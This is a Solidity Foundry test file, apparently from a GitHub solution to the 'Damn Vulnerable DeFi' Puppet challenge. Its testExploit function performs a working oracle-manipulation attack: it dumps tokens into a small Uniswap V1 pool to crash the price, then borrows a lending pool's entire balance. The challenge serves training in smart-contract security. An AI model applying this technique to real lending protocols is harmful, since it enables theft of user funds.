-
Notifications
You must be signed in to change notification settings - Fork 1
/
Puppet.t.sol
132 lines (100 loc) · 5.57 KB
/
Puppet.t.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.23;
import { Utilities } from "./Utilities.sol";
import "forge-std/Test.sol";
import { DamnValuableToken } from "../src/DamnValuableToken.sol";
import { PuppetPool } from "../src/puppet/PuppetPool.sol";
interface UniswapV1Exchange {
function addLiquidity(uint256 min_liquidity, uint256 max_tokens, uint256 deadline) external payable returns (uint256);
function balanceOf(address _owner) external view returns (uint256);
function tokenToEthSwapInput(uint256 tokens_sold, uint256 min_eth, uint256 deadline) external returns (uint256);
function getTokenToEthInputPrice(uint256 tokens_sold) external view returns (uint256);
}
interface UniswapV1Factory {
function initializeFactory(address template) external;
function createExchange(address token) external returns (address);
}
contract Puppet is Test {
// Uniswap exchange will start with 10 DVT and 10 ETH in liquidity
uint256 internal constant UNISWAP_INITIAL_TOKEN_RESERVE = 10e18;
uint256 internal constant UNISWAP_INITIAL_ETH_RESERVE = 10e18;
uint256 internal constant ATTACKER_INITIAL_TOKEN_BALANCE = 1_000e18;
uint256 internal constant ATTACKER_INITIAL_ETH_BALANCE = 25e18;
uint256 internal constant POOL_INITIAL_TOKEN_BALANCE = 100_000e18;
uint256 internal constant DEADLINE = 10_000_000;
UniswapV1Exchange internal uniswapV1ExchangeTemplate;
UniswapV1Exchange internal uniswapExchange;
UniswapV1Factory internal uniswapV1Factory;
DamnValuableToken internal dvt;
PuppetPool internal puppetPool;
address payable internal attacker;
function setUp() public {
attacker = payable(address(uint160(uint256(keccak256(abi.encodePacked("attacker"))))));
vm.label(attacker, "Attacker");
vm.deal(attacker, ATTACKER_INITIAL_ETH_BALANCE);
// Deploy token to be traded in Uniswap
dvt = new DamnValuableToken();
vm.label(address(dvt), "DVT");
uniswapV1Factory = UniswapV1Factory(deployCode("./src/build-uniswap/v1/UniswapV1Factory.json"));
// Deploy a exchange that will be used as the factory template
uniswapV1ExchangeTemplate = UniswapV1Exchange(deployCode("./src/build-uniswap/v1/UniswapV1Exchange.json"));
// Deploy factory, initializing it with the address of the template exchange
uniswapV1Factory.initializeFactory(address(uniswapV1ExchangeTemplate));
uniswapExchange = UniswapV1Exchange(uniswapV1Factory.createExchange(address(dvt)));
vm.label(address(uniswapExchange), "Uniswap Exchange");
// Deploy the lending pool
puppetPool = new PuppetPool(address(dvt), address(uniswapExchange));
vm.label(address(puppetPool), "Puppet Pool");
// Add initial token and ETH liquidity to the pool
dvt.approve(address(uniswapExchange), UNISWAP_INITIAL_TOKEN_RESERVE);
uniswapExchange.addLiquidity{value: UNISWAP_INITIAL_ETH_RESERVE}(
0, // min_liquidity
UNISWAP_INITIAL_TOKEN_RESERVE, // max_tokens
DEADLINE // deadline
);
// Ensure Uniswap exchange is working as expected
assertEq(
uniswapExchange.getTokenToEthInputPrice(1 ether),
calculateTokenToEthInputPrice(1 ether, UNISWAP_INITIAL_TOKEN_RESERVE, UNISWAP_INITIAL_ETH_RESERVE)
);
// Setup initial token balances of pool and attacker account
dvt.transfer(attacker, ATTACKER_INITIAL_TOKEN_BALANCE);
dvt.transfer(address(puppetPool), POOL_INITIAL_TOKEN_BALANCE);
// Ensure correct setup of pool.
assertEq(puppetPool.calculateDepositRequired(POOL_INITIAL_TOKEN_BALANCE), POOL_INITIAL_TOKEN_BALANCE * 2);
console.log(unicode"🧨 Let's see if you can break it... 🧨");
}
function testExploit() public {
vm.startPrank(attacker);
console.log("Attacker's dvt balance before swap: ", dvt.balanceOf(attacker));
console.log("Attacker's ETH balance before swap: ", attacker.balance);
dvt.approve(address(uniswapExchange), type(uint256).max);
uniswapExchange.tokenToEthSwapInput(dvt.balanceOf(attacker), 1 ether, block.timestamp + 5 days);
console.log("Attacker's dvt balance after swap: ", dvt.balanceOf(attacker));
console.log("Attacker's ETH balance after swap: ", attacker.balance);
uint256 poolBalance = dvt.balanceOf(address(puppetPool));
uint256 depositRequired = puppetPool.calculateDepositRequired(poolBalance);
puppetPool.borrow{value: depositRequired}(poolBalance, address(attacker));
console.log("Attacker's dvt balance after borrow: ", dvt.balanceOf(attacker));
console.log("Attacker's ETH balance after borrow: ", attacker.balance);
vm.stopPrank();
validation();
console.log(unicode"\n🎉🥳 Congratulations, you beat the level!!! 🥳🎉");
}
function validation() internal {
// Attacker has taken all tokens from the pool
assertEq(vm.getNonce(attacker), 0);
assertGe(dvt.balanceOf(attacker), POOL_INITIAL_TOKEN_BALANCE);
assertEq(dvt.balanceOf(address(puppetPool)), 0);
}
// Calculates how much ETH (in wei) Uniswap will pay for the given amount of tokens
function calculateTokenToEthInputPrice(uint256 input_amount, uint256 input_reserve, uint256 output_reserve)
internal
returns (uint256)
{
uint256 input_amount_with_fee = input_amount * 997;
uint256 numerator = input_amount_with_fee * output_reserve;
uint256 denominator = (input_reserve * 1000) + input_amount_with_fee;
return numerator / denominator;
}
}